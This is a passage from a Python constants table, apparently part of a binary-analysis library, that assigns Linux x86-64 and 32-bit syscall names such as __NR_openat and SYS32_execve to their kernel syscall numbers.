Constant('__NR_getgroups',115) __NR_setgroups = Constant('__NR_setgroups',116) __NR_setresuid = Constant('__NR_setresuid',117) __NR_getresuid = Constant('__NR_getresuid',118) __NR_setresgid = Constant('__NR_setresgid',119) __NR_getresgid = Constant('__NR_getresgid',120) __NR_getpgid = Constant('__NR_getpgid',121) __NR_setfsuid = Constant('__NR_setfsuid',122) __NR_setfsgid = Constant('__NR_setfsgid',123) __NR_getsid = Constant('__NR_getsid',124) __NR_capget = Constant('__NR_capget',125) __NR_capset = Constant('__NR_capset',126) __NR_rt_sigpending = Constant('__NR_rt_sigpending',127) __NR_rt_sigtimedwait = Constant('__NR_rt_sigtimedwait',128) __NR_rt_sigqueueinfo = Constant('__NR_rt_sigqueueinfo',129) __NR_rt_sigsuspend = Constant('__NR_rt_sigsuspend',130) __NR_sigaltstack = Constant('__NR_sigaltstack',131) __NR_utime = Constant('__NR_utime',132) __NR_mknod = Constant('__NR_mknod',133) __NR_uselib = Constant('__NR_uselib',134) __NR_personality = Constant('__NR_personality',135) __NR_ustat = Constant('__NR_ustat',136) __NR_statfs = Constant('__NR_statfs',137) __NR_fstatfs = Constant('__NR_fstatfs',138) __NR_sysfs = Constant('__NR_sysfs',139) __NR_getpriority = Constant('__NR_getpriority',140) __NR_setpriority = Constant('__NR_setpriority',141) __NR_sched_setparam = Constant('__NR_sched_setparam',142) __NR_sched_getparam = Constant('__NR_sched_getparam',143) __NR_sched_setscheduler = Constant('__NR_sched_setscheduler',144) __NR_sched_getscheduler = Constant('__NR_sched_getscheduler',145) __NR_sched_get_priority_max = Constant('__NR_sched_get_priority_max',146) __NR_sched_get_priority_min = Constant('__NR_sched_get_priority_min',147) __NR_sched_rr_get_interval = Constant('__NR_sched_rr_get_interval',148) __NR_mlock = Constant('__NR_mlock',149) __NR_munlock = Constant('__NR_munlock',150) __NR_mlockall = Constant('__NR_mlockall',151) __NR_munlockall = Constant('__NR_munlockall',152) __NR_vhangup = Constant('__NR_vhangup',153) __NR_modify_ldt = Constant('__NR_modify_ldt',154) __NR_pivot_root = Constant('__NR_pivot_root',155) __NR__sysctl = Constant('__NR__sysctl',156) __NR_prctl = Constant('__NR_prctl',157) __NR_arch_prctl = Constant('__NR_arch_prctl',158) __NR_adjtimex = Constant('__NR_adjtimex',159) __NR_setrlimit = Constant('__NR_setrlimit',160) __NR_chroot = Constant('__NR_chroot',161) __NR_sync = Constant('__NR_sync',162) __NR_acct = Constant('__NR_acct',163) __NR_settimeofday = Constant('__NR_settimeofday',164) __NR_mount = Constant('__NR_mount',165) __NR_umount2 = Constant('__NR_umount2',166) __NR_swapon = Constant('__NR_swapon',167) __NR_swapoff = Constant('__NR_swapoff',168) __NR_reboot = Constant('__NR_reboot',169) __NR_sethostname = Constant('__NR_sethostname',170) __NR_setdomainname = Constant('__NR_setdomainname',171) __NR_iopl = Constant('__NR_iopl',172) __NR_ioperm = Constant('__NR_ioperm',173) __NR_create_module = Constant('__NR_create_module',174) __NR_init_module = Constant('__NR_init_module',175) __NR_delete_module = Constant('__NR_delete_module',176) __NR_get_kernel_syms = Constant('__NR_get_kernel_syms',177) __NR_query_module = Constant('__NR_query_module',178) __NR_quotactl = Constant('__NR_quotactl',179) __NR_nfsservctl = Constant('__NR_nfsservctl',180) __NR_getpmsg = Constant('__NR_getpmsg',181) __NR_putpmsg = Constant('__NR_putpmsg',182) __NR_afs_syscall = Constant('__NR_afs_syscall',183) __NR_tuxcall = Constant('__NR_tuxcall',184) __NR_security = Constant('__NR_security',185) __NR_gettid = Constant('__NR_gettid',186) __NR_readahead = Constant('__NR_readahead',187) __NR_setxattr = Constant('__NR_setxattr',188) __NR_lsetxattr = Constant('__NR_lsetxattr',189) __NR_fsetxattr = Constant('__NR_fsetxattr',190) __NR_getxattr = Constant('__NR_getxattr',191) __NR_lgetxattr = Constant('__NR_lgetxattr',192) __NR_fgetxattr = Constant('__NR_fgetxattr',193) __NR_listxattr = Constant('__NR_listxattr',194) __NR_llistxattr = Constant('__NR_llistxattr',195) __NR_flistxattr = Constant('__NR_flistxattr',196) __NR_removexattr = Constant('__NR_removexattr',197) __NR_lremovexattr = Constant('__NR_lremovexattr',198) __NR_fremovexattr = Constant('__NR_fremovexattr',199) __NR_tkill = Constant('__NR_tkill',200) __NR_time = Constant('__NR_time',201) __NR_futex = Constant('__NR_futex',202) __NR_sched_setaffinity = Constant('__NR_sched_setaffinity',203) __NR_sched_getaffinity = Constant('__NR_sched_getaffinity',204) __NR_set_thread_area = Constant('__NR_set_thread_area',205) __NR_io_setup = Constant('__NR_io_setup',206) __NR_io_destroy = Constant('__NR_io_destroy',207) __NR_io_getevents = Constant('__NR_io_getevents',208) __NR_io_submit = Constant('__NR_io_submit',209) __NR_io_cancel = Constant('__NR_io_cancel',210) __NR_get_thread_area = Constant('__NR_get_thread_area',211) __NR_lookup_dcookie = Constant('__NR_lookup_dcookie',212) __NR_epoll_create = Constant('__NR_epoll_create',213) __NR_epoll_ctl_old = Constant('__NR_epoll_ctl_old',214) __NR_epoll_wait_old = Constant('__NR_epoll_wait_old',215) __NR_remap_file_pages = Constant('__NR_remap_file_pages',216) __NR_getdents64 = Constant('__NR_getdents64',217) __NR_set_tid_address = Constant('__NR_set_tid_address',218) __NR_restart_syscall = Constant('__NR_restart_syscall',219) __NR_semtimedop = Constant('__NR_semtimedop',220) __NR_fadvise64 = Constant('__NR_fadvise64',221) __NR_timer_create = Constant('__NR_timer_create',222) __NR_timer_settime = Constant('__NR_timer_settime',223) __NR_timer_gettime = Constant('__NR_timer_gettime',224) __NR_timer_getoverrun = Constant('__NR_timer_getoverrun',225) __NR_timer_delete = Constant('__NR_timer_delete',226) __NR_clock_settime = Constant('__NR_clock_settime',227) __NR_clock_gettime = Constant('__NR_clock_gettime',228) __NR_clock_getres = Constant('__NR_clock_getres',229) __NR_clock_nanosleep = Constant('__NR_clock_nanosleep',230) __NR_exit_group = Constant('__NR_exit_group',231) __NR_epoll_wait = Constant('__NR_epoll_wait',232) __NR_epoll_ctl = Constant('__NR_epoll_ctl',233) __NR_tgkill = Constant('__NR_tgkill',234) __NR_utimes = Constant('__NR_utimes',235) __NR_vserver = Constant('__NR_vserver',236) __NR_vserver = Constant('__NR_vserver',236) __NR_mbind = Constant('__NR_mbind',237) __NR_set_mempolicy = Constant('__NR_set_mempolicy',238) __NR_get_mempolicy = Constant('__NR_get_mempolicy',239) __NR_mq_open = Constant('__NR_mq_open',240) __NR_mq_unlink = Constant('__NR_mq_unlink',241) __NR_mq_timedsend = Constant('__NR_mq_timedsend',242) __NR_mq_timedreceive = Constant('__NR_mq_timedreceive',243) __NR_mq_notify = Constant('__NR_mq_notify',244) __NR_mq_getsetattr = Constant('__NR_mq_getsetattr',245) __NR_kexec_load = Constant('__NR_kexec_load',246) __NR_waitid = Constant('__NR_waitid',247) __NR_add_key = Constant('__NR_add_key',248) __NR_request_key = Constant('__NR_request_key',249) __NR_keyctl = Constant('__NR_keyctl',250) __NR_ioprio_set = Constant('__NR_ioprio_set',251) __NR_ioprio_get = Constant('__NR_ioprio_get',252) __NR_inotify_init = Constant('__NR_inotify_init',253) __NR_inotify_add_watch = Constant('__NR_inotify_add_watch',254) __NR_inotify_rm_watch = Constant('__NR_inotify_rm_watch',255) __NR_migrate_pages = Constant('__NR_migrate_pages',256) __NR_openat = Constant('__NR_openat',257) __NR_mkdirat = Constant('__NR_mkdirat',258) __NR_mknodat = Constant('__NR_mknodat',259) __NR_fchownat = Constant('__NR_fchownat',260) __NR_futimesat = Constant('__NR_futimesat',261) __NR_newfstatat = Constant('__NR_newfstatat',262) __NR_unlinkat = Constant('__NR_unlinkat',263) __NR_renameat = Constant('__NR_renameat',264) __NR_linkat = Constant('__NR_linkat',265) __NR_symlinkat = Constant('__NR_symlinkat',266) __NR_readlinkat = Constant('__NR_readlinkat',267) __NR_fchmodat = Constant('__NR_fchmodat',268) __NR_faccessat = Constant('__NR_faccessat',269) __NR_pselect6 = Constant('__NR_pselect6',270) __NR_ppoll = Constant('__NR_ppoll',271) __NR_unshare = Constant('__NR_unshare',272) __NR_set_robust_list = Constant('__NR_set_robust_list',273) __NR_get_robust_list = Constant('__NR_get_robust_list',274) __NR_splice = Constant('__NR_splice',275) __NR_tee = Constant('__NR_tee',276) __NR_sync_file_range = Constant('__NR_sync_file_range',277) __NR_vmsplice = Constant('__NR_vmsplice',278) __NR_move_pages = Constant('__NR_move_pages',279) __NR_utimensat = Constant('__NR_utimensat',280) __NR_epoll_pwait = Constant('__NR_epoll_pwait',281) __NR_signalfd = Constant('__NR_signalfd',282) __NR_timerfd = Constant('__NR_timerfd',283) __NR_eventfd = Constant('__NR_eventfd',284) __NR_fallocate = Constant('__NR_fallocate',285) __NR_timerfd_settime = Constant('__NR_timerfd_settime',286) __NR_timerfd_gettime = Constant('__NR_timerfd_gettime',287) __NR_accept4 = Constant('__NR_accept4',288) __NR_signalfd4 = Constant('__NR_signalfd4',289) __NR_eventfd2 = Constant('__NR_eventfd2',290) __NR_epoll_create1 = Constant('__NR_epoll_create1',291) __NR_dup3 = Constant('__NR_dup3',292) __NR_pipe2 = Constant('__NR_pipe2',293) __NR_inotify_init1 = Constant('__NR_inotify_init1',294) __NR_preadv = Constant('__NR_preadv',295) __NR_pwritev = Constant('__NR_pwritev',296) __NR_rt_tgsigqueueinfo = Constant('__NR_rt_tgsigqueueinfo',297) __NR_perf_event_open = Constant('__NR_perf_event_open',298) __NR_recvmmsg = Constant('__NR_recvmmsg',299) __NR_fanotify_init = Constant('__NR_fanotify_init',300) __NR_fanotify_mark = Constant('__NR_fanotify_mark',301) __NR_prlimit64 = Constant('__NR_prlimit64',302) __NR_name_to_handle_at = Constant('__NR_name_to_handle_at',303) __NR_open_by_handle_at = Constant('__NR_open_by_handle_at',304) __NR_clock_adjtime = Constant('__NR_clock_adjtime',305) __NR_syncfs = Constant('__NR_syncfs',306) __NR_sendmmsg = Constant('__NR_sendmmsg',307) __NR_setns = Constant('__NR_setns',308) __NR_getcpu = Constant('__NR_getcpu',309) __NR_process_vm_readv = Constant('__NR_process_vm_readv',310) __NR_process_vm_writev = Constant('__NR_process_vm_writev',311) __NR_kcmp = Constant('__NR_kcmp',312) __NR_finit_module = Constant('__NR_finit_module',313) __NR_sched_setattr = Constant('__NR_sched_setattr',314) __NR_sched_getattr = Constant('__NR_sched_getattr',315) __NR_renameat2 = Constant('__NR_renameat2',316) __NR_seccomp = Constant('__NR_seccomp',317) __NR_getrandom = Constant('__NR_getrandom',318) __NR_memfd_create = Constant('__NR_memfd_create',319) __NR_kexec_file_load = Constant('__NR_kexec_file_load',320) __NR_bpf = Constant('__NR_bpf',321) __NR_execveat = Constant('__NR_execveat',322) __NR_userfaultfd = Constant('__NR_userfaultfd',323) __NR_membarrier = Constant('__NR_membarrier',324) __NR_mlock2 = Constant('__NR_mlock2',325) __NR_copy_file_range = Constant('__NR_copy_file_range',326) __NR_preadv2 = Constant('__NR_preadv2',327) __NR_pwritev2 = Constant('__NR_pwritev2',328) __NR_pkey_mprotect = Constant('__NR_pkey_mprotect',329) __NR_pkey_alloc = Constant('__NR_pkey_alloc',330) __NR_pkey_free = Constant('__NR_pkey_free',331) __NR_statx = Constant('__NR_statx',332) __NR_io_pgetevents = Constant('__NR_io_pgetevents',333) __NR_rseq = Constant('__NR_rseq',334) __NR_pidfd_send_signal = Constant('__NR_pidfd_send_signal',424) __NR_io_uring_setup = Constant('__NR_io_uring_setup',425) __NR_io_uring_enter = Constant('__NR_io_uring_enter',426) __NR_io_uring_register = Constant('__NR_io_uring_register',427) __NR_open_tree = Constant('__NR_open_tree',428) __NR_move_mount = Constant('__NR_move_mount',429) __NR_fsopen = Constant('__NR_fsopen',430) __NR_fsconfig = Constant('__NR_fsconfig',431) __NR_fsmount = Constant('__NR_fsmount',432) __NR_fspick = Constant('__NR_fspick',433) __NR_pidfd_open = Constant('__NR_pidfd_open',434) __NR_clone3 = Constant('__NR_clone3',435) __NR_openat2 = Constant('__NR_openat2',437) __NR_pidfd_getfd = Constant('__NR_pidfd_getfd',438) SYS32_restart_syscall = Constant('SYS32_restart_syscall',0) SYS32_exit = Constant('SYS32_exit',1) SYS32_fork = Constant('SYS32_fork',2) SYS32_read = Constant('SYS32_read',3) SYS32_write = Constant('SYS32_write',4) SYS32_open = Constant('SYS32_open',5) SYS32_close = Constant('SYS32_close',6) SYS32_waitpid = Constant('SYS32_waitpid',7) SYS32_creat = Constant('SYS32_creat',8) SYS32_link = Constant('SYS32_link',9) SYS32_unlink = Constant('SYS32_unlink',10) SYS32_execve = Constant('SYS32_execve',11) SYS32_chdir = Constant('SYS32_chdir',12) SYS32_time = Constant('SYS32_time',13) SYS32_mknod = Constant('SYS32_mknod',14) SYS32_chmod = Constant('SYS32_chmod',15) SYS32_lchown = Constant('SYS32_lchown',16) SYS32_break = Constant('SYS32_break',17) SYS32_oldstat = Constant('SYS32_oldstat',18) SYS32_lseek = Constant('SYS32_lseek',19) SYS32_getpid = Constant('SYS32_getpid',20) SYS32_mount = Constant('SYS32_mount',21) SYS32_umount = Constant('SYS32_umount',22) SYS32_setuid = Constant('SYS32_setuid',23) SYS32_getuid = Constant('SYS32_getuid',24) SYS32_stime = Constant('SYS32_stime',25) SYS32_ptrace = Constant('SYS32_ptrace',26) SYS32_alarm = Constant('SYS32_alarm',27) SYS32_oldfstat = Constant('SYS32_oldfstat',28) SYS32_pause = Constant('SYS32_pause',29) SYS32_utime = Constant('SYS32_utime',30) SYS32_stty = Constant('SYS32_stty',31) SYS32_gtty = Constant('SYS32_gtty',32) SYS32_access = Constant('SYS32_access',33) SYS32_nice = Constant('SYS32_nice',34) SYS32_ftime = Constant('SYS32_ftime',35) SYS32_sync = Constant('SYS32_sync',36) SYS32_kill = Constant('SYS32_kill',37) SYS32_rename = Constant('SYS32_rename',38) SYS32_mkdir = Constant('SYS32_mkdir',39) SYS32_rmdir = Constant('SYS32_rmdir',40) SYS32_dup = Constant('SYS32_dup',41) SYS32_pipe = Constant('SYS32_pipe',42) SYS32_times = Constant('SYS32_times',43) SYS32_prof = Constant('SYS32_prof',44) SYS32_brk = Constant('SYS32_brk',45) SYS32_setgid = Constant('SYS32_setgid',46) SYS32_getgid = Constant('SYS32_getgid',47) SYS32_signal = Constant('SYS32_signal',48) SYS32_geteuid = Constant('SYS32_geteuid',49) SYS32_getegid = Constant('SYS32_getegid',50) SYS32_acct = Constant('SYS32_acct',51) SYS32_umount2 = Constant('SYS32_umount2',52) SYS32_lock = Constant('SYS32_lock',53) SYS32_ioctl = Constant('SYS32_ioctl',54) SYS32_fcntl = Constant('SYS32_fcntl',55) SYS32_mpx = Constant('SYS32_mpx',56) SYS32_setpgid = Constant('SYS32_setpgid',57) SYS32_ulimit = Constant('SYS32_ulimit',58) SYS32_oldolduname = Constant('SYS32_oldolduname',59) SYS32_umask = Constant('SYS32_umask',60) SYS32_chroot = Constant('SYS32_chroot',61) SYS32_ustat = Constant('SYS32_ustat',62) SYS32_dup2 = Constant('SYS32_dup2',63) SYS32_getppid = Constant('SYS32_getppid',64) SYS32_getpgrp = Constant('SYS32_getpgrp',65) SYS32_setsid = Constant('SYS32_setsid',66) SYS32_sigaction = Constant('SYS32_sigaction',67) SYS32_sgetmask = Constant('SYS32_sgetmask',68) SYS32_ssetmask = Constant('SYS32_ssetmask',69) SYS32_setreuid = Constant('SYS32_setreuid',70) SYS32_setregid = Constant('SYS32_setregid',71) SYS32_sigsuspend = Constant('SYS32_sigsuspend',72) SYS32_sigpending = Constant('SYS32_sigpending',73) SYS32_sethostname = Constant('SYS32_sethostname',74) SYS32_setrlimit = Constant('SYS32_setrlimit',75) SYS32_getrlimit = Constant('SYS32_getrlimit',76) SYS32_getrusage = Constant('SYS32_getrusage',77) SYS32_gettimeofday = Constant('SYS32_gettimeofday',78) SYS32_settimeofday = Constant('SYS32_settimeofday',79) SYS32_getgroups = Constant('SYS32_getgroups',80) SYS32_setgroups = Constant('SYS32_setgroups',81) SYS32_select = Constant('SYS32_select',82) SYS32_symlink = Constant('SYS32_symlink',83) SYS32_oldlstat = Constant('SYS32_oldlstat',84) SYS32_readlink = Constant('SYS32_readlink',85) SYS32_uselib = Constant('SYS32_uselib',86) SYS32_swapon = Constant('SYS32_swapon',87) SYS32_reboot = Constant('SYS32_reboot',88) SYS32_readdir = Constant('SYS32_readdir',89) SYS32_mmap = Constant('SYS32_mmap',90) SYS32_munmap = Constant('SYS32_munmap',91) SYS32_truncate = Constant('SYS32_truncate',92) SYS32_ftruncate = Constant('SYS32_ftruncate',93) SYS32_fchmod = Constant('SYS32_fchmod',94) SYS32_fchown = Constant('SYS32_fchown',95) SYS32_getpriority = Constant('SYS32_getpriority',96) SYS32_setpriority = Constant('SYS32_setpriority',97) SYS32_profil = Constant('SYS32_profil',98) SYS32_statfs = Constant('SYS32_statfs',99) SYS32_fstatfs = Constant('SYS32_fstatfs',100) SYS32_ioperm = Constant('SYS32_ioperm',101) SYS32_socketcall = Constant('SYS32_socketcall',102) SYS32_syslog = Constant('SYS32_syslog',103) SYS32_setitimer = Constant('SYS32_setitimer',104) SYS32_getitimer = Constant('SYS32_getitimer',105) SYS32_stat = Constant('SYS32_stat',106) SYS32_lstat = Constant('SYS32_lstat',107) SYS32_fstat = Constant('SYS32_fstat',108) SYS32_olduname = Constant('SYS32_olduname',109) SYS32_iopl = Constant('SYS32_iopl',110) SYS32_vhangup = Constant('SYS32_vhangup',111) SYS32_idle = Constant('SYS32_idle',112) SYS32_vm86old = Constant('SYS32_vm86old',113) SYS32_wait4 = Constant('SYS32_wait4',114) SYS32_swapoff = Constant('SYS32_swapoff',115) SYS32_sysinfo = Constant('SYS32_sysinfo',116) SYS32_ipc = Constant('SYS32_ipc',117) SYS32_fsync = Constant('SYS32_fsync',118) SYS32_sigreturn = Constant('SYS32_sigreturn',119) SYS32_clone = Constant('SYS32_clone',120) SYS32_setdomainname = Constant('SYS32_setdomainname',121) SYS32_uname = Constant('SYS32_uname',122) SYS32_modify_ldt = Constant('SYS32_modify_ldt',123) SYS32_adjtimex = Constant('SYS32_adjtimex',124) SYS32_mprotect = Constant('SYS32_mprotect',125) SYS32_sigprocmask = Constant('SYS32_sigprocmask',126) SYS32_create_module = Constant('SYS32_create_module',127) SYS32_init_module = Constant('SYS32_init_module',128) SYS32_delete_module = Constant('SYS32_delete_module',129) SYS32_get_kernel_syms = Constant('SYS32_get_kernel_syms',130) SYS32_quotactl = Constant('SYS32_quotactl',131) SYS32_getpgid = Constant('SYS32_getpgid',132) SYS32_fchdir = Constant('SYS32_fchdir',133) SYS32_bdflush = Constant('SYS32_bdflush',134) SYS32_sysfs = Constant('SYS32_sysfs',135) SYS32_personality = Constant('SYS32_personality',136) SYS32_afs_syscall = Constant('SYS32_afs_syscall',137) SYS32_setfsuid = Constant('SYS32_setfsuid',138) SYS32_setfsgid = Constant('SYS32_setfsgid',139) SYS32__llseek = Constant('SYS32__llseek',140) SYS32_getdents = Constant('SYS32_getdents',141) SYS32__newselect = Constant('SYS32__newselect',142) SYS32_flock = Constant('SYS32_flock',143) SYS32_msync = Constant('SYS32_msync',144) SYS32_readv = Constant('SYS32_readv',145) SYS32_writev = Constant('SYS32_writev',146) SYS32_getsid = Constant('SYS32_getsid',147) SYS32_fdatasync = Constant('SYS32_fdatasync',148) SYS32__sysctl = Constant('SYS32__sysctl',149) SYS32_mlock = Constant('SYS32_mlock',150) SYS32_munlock = Constant('SYS32_munlock',151) SYS32_mlockall = Constant('SYS32_mlockall',152) SYS32_munlockall = Constant('SYS32_munlockall',153) SYS32_sched_setparam = Constant('SYS32_sched_setparam',154) SYS32_sched_getparam = Constant('SYS32_sched_getparam',155) SYS32_sched_setscheduler = Constant('SYS32_sched_setscheduler',156) SYS32_sched_getscheduler = Constant('SYS32_sched_getscheduler',157) SYS32_sched_yield = Constant('SYS32_sched_yield',158) SYS32_sched_get_priority_max = Constant('SYS32_sched_get_priority_max',159) SYS32_sched_get_priority_min = Constant('SYS32_sched_get_priority_min',160) SYS32_sched_rr_get_interval = Constant('SYS32_sched_rr_get_interval',161) SYS32_nanosleep = Constant('SYS32_nanosleep',162) SYS32_mremap = Constant('SYS32_mremap',163) SYS32_setresuid = Constant('SYS32_setresuid',164) SYS32_getresuid = Constant('SYS32_getresuid',165) SYS32_vm86 = Constant('SYS32_vm86',166) SYS32_query_module = Constant('SYS32_query_module',167) SYS32_poll = Constant('SYS32_poll',168) SYS32_nfsservctl = Constant('SYS32_nfsservctl',169) SYS32_setresgid = Constant('SYS32_setresgid',170) SYS32_getresgid = Constant('SYS32_getresgid',171) SYS32_prctl = Constant('SYS32_prctl',172) SYS32_rt_sigreturn = Constant('SYS32_rt_sigreturn',173) SYS32_rt_sigaction = Constant('SYS32_rt_sigaction',174) SYS32_rt_sigprocmask = Constant('SYS32_rt_sigprocmask',175) SYS32_rt_sigpending = Constant('SYS32_rt_sigpending',176) SYS32_rt_sigtimedwait = Constant('SYS32_rt_sigtimedwait',177) SYS32_rt_sigqueueinfo = Constant('SYS32_rt_sigqueueinfo',178) SYS32_rt_sigsuspend = Constant('SYS32_rt_sigsuspend',179) SYS32_pread64 = Constant('SYS32_pread64',180) SYS32_pwrite64 = Constant('SYS32_pwrite64',181) SYS32_chown = Constant('SYS32_chown',182) SYS32_getcwd = Constant('SYS32_getcwd',183) SYS32_capget = Constant('SYS32_capget',184) SYS32_capset = Constant('SYS32_capset',185) SYS32_sigaltstack = Constant('SYS32_sigaltstack',186) SYS32_sendfile = Constant('SYS32_sendfile',187) SYS32_getpmsg = Constant('SYS32_getpmsg',188) SYS32_putpmsg = Constant('SYS32_putpmsg',189) SYS32_vfork = Constant('SYS32_vfork',190) SYS32_ugetrlimit = Constant('SYS32_ugetrlimit',191) SYS32_mmap2 = Constant('SYS32_mmap2',192) SYS32_truncate64 = Constant('SYS32_truncate64',193) SYS32_ftruncate64 = Constant('SYS32_ftruncate64',194) SYS32_stat64 = Constant('SYS32_stat64',195) SYS32_lstat64 = Constant('SYS32_lstat64',196) SYS32_fstat64 = Constant('SYS32_fstat64',197) SYS32_lchown32 = Constant('SYS32_lchown32',198) SYS32_getuid32 = Constant('SYS32_getuid32',199) SYS32_getgid32 = Constant('SYS32_getgid32',200) SYS32_geteuid32 = Constant('SYS32_geteuid32',201) SYS32_getegid32 = Constant('SYS32_getegid32',202) SYS32_setreuid32 = Constant('SYS32_setreuid32',203) SYS32_setregid32 = Constant('SYS32_setregid32',204) SYS32_getgroups32 = Constant('SYS32_getgroups32',205) SYS32_setgroups32 = Constant('SYS32_setgroups32',206) SYS32_fchown32 = Constant('SYS32_fchown32',207) SYS32_setresuid32 = Constant('SYS32_setresuid32',208) SYS32_getresuid32 = Constant('SYS32_getresuid32',209) SYS32_setresgid32 = Constant('SYS32_setresgid32',210) SYS32_getresgid32 = Constant('SYS32_getresgid32',211) SYS32_chown32 = Constant('SYS32_chown32',212) SYS32_setuid32 = Constant('SYS32_setuid32',213) SYS32_setgid32 = Constant('SYS32_setgid32',214) SYS32_setfsuid32 = Constant('SYS32_setfsuid32',215) SYS32_setfsgid32 = Constant('SYS32_setfsgid32',216) SYS32_pivot_root = Constant('SYS32_pivot_root',217) SYS32_mincore = Constant('SYS32_mincore',218) SYS32_madvise = Constant('SYS32_madvise',219) SYS32_madvise1 = Constant('SYS32_madvise1',219) SYS32_getdents64 = Constant('SYS32_getdents64',220) SYS32_fcntl64 = Constant('SYS32_fcntl64',221) SYS32_gettid = Constant('SYS32_gettid',224) SYS32_readahead = Constant('SYS32_readahead',225) SYS32_setxattr = Constant('SYS32_setxattr',226) SYS32_lsetxattr = Constant('SYS32_lsetxattr',227) SYS32_fsetxattr = Constant('SYS32_fsetxattr',228) SYS32_getxattr = Constant('SYS32_getxattr',229) SYS32_lgetxattr = Constant('SYS32_lgetxattr',230) SYS32_fgetxattr = Constant('SYS32_fgetxattr',231) SYS32_listxattr = Constant('SYS32_listxattr',232) SYS32_llistxattr = Constant('SYS32_llistxattr',233) SYS32_flistxattr = Constant('SYS32_flistxattr',234) SYS32_removexattr = Constant('SYS32_removexattr',235) SYS32_lremovexattr = Constant('SYS32_lremovexattr',236) SYS32_fremovexattr = Constant('SYS32_fremovexattr',237) SYS32_tkill = Constant('SYS32_tkill',238) SYS32_sendfile64 = Constant('SYS32_sendfile64',239) SYS32_futex = Constant('SYS32_futex',240) SYS32_sched_setaffinity = Constant('SYS32_sched_setaffinity',241) SYS32_sched_getaffinity = Constant('SYS32_sched_getaffinity',242) SYS32_set_thread_area = Constant('SYS32_set_thread_area',243) SYS32_get_thread_area = Constant('SYS32_get_thread_area',244) SYS32_io_setup = Constant('SYS32_io_setup',245) SYS32_io_destroy = Constant('SYS32_io_destroy',246) SYS32_io_getevents = Constant('SYS32_io_getevents',247) SYS32_io_submit = Constant('SYS32_io_submit',248) SYS32_io_cancel = Constant('SYS32_io_cancel',249) SYS32_fadvise64 = Constant('SYS32_fadvise64',250) SYS32_exit_group = Constant('SYS32_exit_group',252) SYS32_lookup_dcookie = Constant('SYS32_lookup_dcookie',253) SYS32_epoll_create = Constant('SYS32_epoll_create',254) SYS32_epoll_ctl = Constant('SYS32_epoll_ctl',255) SYS32_epoll_wait = Constant('SYS32_epoll_wait',256) SYS32_remap_file_pages = Constant('SYS32_remap_file_pages',257) SYS32_set_tid_address = Constant('SYS32_set_tid_address',258) SYS32_timer_create = Constant('SYS32_timer_create',259) SYS32_timer_settime = Constant('SYS32_timer_settime',(222+1)) SYS32_timer_gettime = Constant('SYS32_timer_gettime',(222+2)) SYS32_timer_getoverrun = Constant('SYS32_timer_getoverrun',(222+3)) SYS32_timer_delete = Constant('SYS32_timer_delete',(222+4)) SYS32_clock_settime = Constant('SYS32_clock_settime',(222+5)) SYS32_clock_gettime = Constant('SYS32_clock_gettime',(222+6)) SYS32_clock_getres = Constant('SYS32_clock_getres',(222+7)) SYS32_clock_nanosleep = Constant('SYS32_clock_nanosleep',(222+8)) SYS32_statfs64 = Constant('SYS32_statfs64',268) SYS32_fstatfs64 = Constant('SYS32_fstatfs64',269) SYS32_tgkill = Constant('SYS32_tgkill',270) SYS32_utimes = Constant('SYS32_utimes',271) SYS32_fadvise64_64 = Constant('SYS32_fadvise64_64',272) SYS32_vserver = Constant('SYS32_vserver',273) SYS32_mbind = Constant('SYS32_mbind',274) SYS32_get_mempolicy = Constant('SYS32_get_mempolicy',275) SYS32_set_mempolicy = Constant('SYS32_set_mempolicy',276) SYS32_mq_open = Constant('SYS32_mq_open',277) SYS32_mq_unlink = Constant('SYS32_mq_unlink',(240+1)) SYS32_mq_timedsend = Constant('SYS32_mq_timedsend',(240+2)) SYS32_mq_timedreceive = Constant('SYS32_mq_timedreceive',(240+3)) SYS32_mq_notify = Constant('SYS32_mq_notify',(240+4)) SYS32_mq_getsetattr = Constant('SYS32_mq_getsetattr',(240+5)) SYS32_kexec_load = Constant('SYS32_kexec_load',283) SYS32_waitid = Constant('SYS32_waitid',284) SYS32_add_key = Constant('SYS32_add_key',286) SYS32_request_key = Constant('SYS32_request_key',287) SYS32_keyctl = Constant('SYS32_keyctl',288) SYS32_ioprio_set = Constant('SYS32_ioprio_set',289) SYS32_ioprio_get = Constant('SYS32_ioprio_get',290) SYS32_inotify_init = Constant('SYS32_inotify_init',291) SYS32_inotify_add_watch = Constant('SYS32_inotify_add_watch',292) SYS32_inotify_rm_watch = Constant('SYS32_inotify_rm_watch',293) SYS32_migrate_pages = Constant('SYS32_migrate_pages',294) SYS32_openat = Constant('SYS32_openat',295) SYS32_mkdirat = Constant('SYS32_mkdirat',296) SYS32_mknodat = Constant('SYS32_mknodat',297) SYS32_fchownat = Constant('SYS32_fchownat',298) SYS32_futimesat = Constant('SYS32_futimesat',299) SYS32_fstatat64 = Constant('SYS32_fstatat64',300) SYS32_unlinkat = Constant('SYS32_unlinkat',301) SYS32_renameat = Constant('SYS32_renameat',302) SYS32_linkat = Constant('SYS32_linkat',303) SYS32_symlinkat = Constant('SYS32_symlinkat',304) SYS32_readlinkat = Constant('SYS32_readlinkat',305) SYS32_fchmodat = Constant('SYS32_fchmodat',306) SYS32_faccessat = Constant('SYS32_faccessat',307) SYS32_pselect6 = Constant('SYS32_pselect6',308) SYS32_ppoll = Constant('SYS32_ppoll',309) SYS32_unshare = Constant('SYS32_unshare',310) SYS32_set_robust_list = Constant('SYS32_set_robust_list',311) SYS32_get_robust_list = Constant('SYS32_get_robust_list',312) SYS32_splice = Constant('SYS32_splice',313) SYS32_sync_file_range = Constant('SYS32_sync_file_range',314) SYS32_tee = Constant('SYS32_tee',315) SYS32_vmsplice = Constant('SYS32_vmsplice',316) SYS32_move_pages = Constant('SYS32_move_pages',317) SYS32_getcpu = Constant('SYS32_getcpu',318) SYS32_epoll_pwait = Constant('SYS32_epoll_pwait',319) SYS32_utimensat = Constant('SYS32_utimensat',320) SYS32_signalfd = Constant('SYS32_signalfd',321) SYS32_timerfd_create = Constant('SYS32_timerfd_create',322) SYS32_eventfd = Constant('SYS32_eventfd',323) SYS32_fallocate = Constant('SYS32_fallocate',324) SYS32_timerfd_settime = Constant('SYS32_timerfd_settime',325) SYS32_timerfd_gettime = Constant('SYS32_timerfd_gettime',326) SYS32_signalfd4 = Constant('SYS32_signalfd4',327) SYS32_eventfd2 = Constant('SYS32_eventfd2',328) SYS32_epoll_create1 = Constant('SYS32_epoll_create1',329) SYS32_dup3 = Constant('SYS32_dup3',330) SYS32_pipe2 = Constant('SYS32_pipe2',331) SYS32_inotify_init1 = Constant('SYS32_inotify_init1',332) SYS32_preadv = Constant('SYS32_preadv',333) SYS32_pwritev = Constant('SYS32_pwritev',334) SYS32_rt_tgsigqueueinfo = 